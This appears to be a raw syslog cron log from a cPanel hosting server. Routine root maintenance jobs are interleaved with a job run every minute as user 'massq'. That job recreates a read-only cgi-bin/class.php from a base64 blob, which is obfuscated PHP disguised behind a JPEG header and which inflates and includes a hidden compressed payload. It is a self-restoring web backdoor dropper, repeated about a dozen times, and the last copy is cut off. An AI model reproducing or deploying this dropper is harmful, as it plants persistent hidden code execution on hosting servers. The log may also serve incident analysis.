Sep  4 02:05:01 server CROND[15083]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  4 02:05:01 server CROND[15084]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 02:05:01 server CROND[15085]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 02:05:01 server CROND[15088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:05:01 server CROND[15091]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:05:01 server CROND[15092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:05:01 server CROND[15093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:05:01 server CROND[15094]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 02:05:01 server CROND[15096]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:06:01 server CROND[15965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:06:01 server CROND[15966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:06:01 server CROND[15967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:07:01 server CROND[16465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:07:01 server CROND[16467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:07:01 server CROND[16468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:08:01 server CROND[16854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:08:01 server CROND[16855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:08:01 server CROND[16856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:09:01 server CROND[17243]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 02:09:01 server CROND[17244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:09:01 server CROND[17245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:09:01 server CROND[17246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:10:01 server CROND[17642]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:10:01 server CROND[17643]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:10:01 server CROND[17646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:10:01 server CROND[17652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:10:01 server CROND[17649]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 02:10:01 server CROND[17651]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 02:10:01 server CROND[17650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:10:01 server CROND[17656]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 02:11:01 server CROND[18495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:11:02 server CROND[18497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:11:02 server CROND[18498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:12:01 server CROND[18875]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 02:12:01 server CROND[18877]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:12:01 server CROND[18876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:12:01 server CROND[18884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:13:01 server CROND[19357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:13:01 server CROND[19358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:13:01 server CROND[19359]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:14:01 server CROND[19741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:14:01 server CROND[19742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:14:01 server CROND[19743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:15:01 server CROND[20152]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:15:01 server CROND[20154]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 02:15:01 server CROND[20157]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 02:15:01 server CROND[20159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:15:01 server CROND[20162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:15:01 server CROND[20163]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:15:01 server CROND[20160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:15:01 server CROND[20164]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 02:15:01 server CROND[20166]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 02:16:01 server CROND[21034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:16:01 server CROND[21035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:16:01 server CROND[21036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk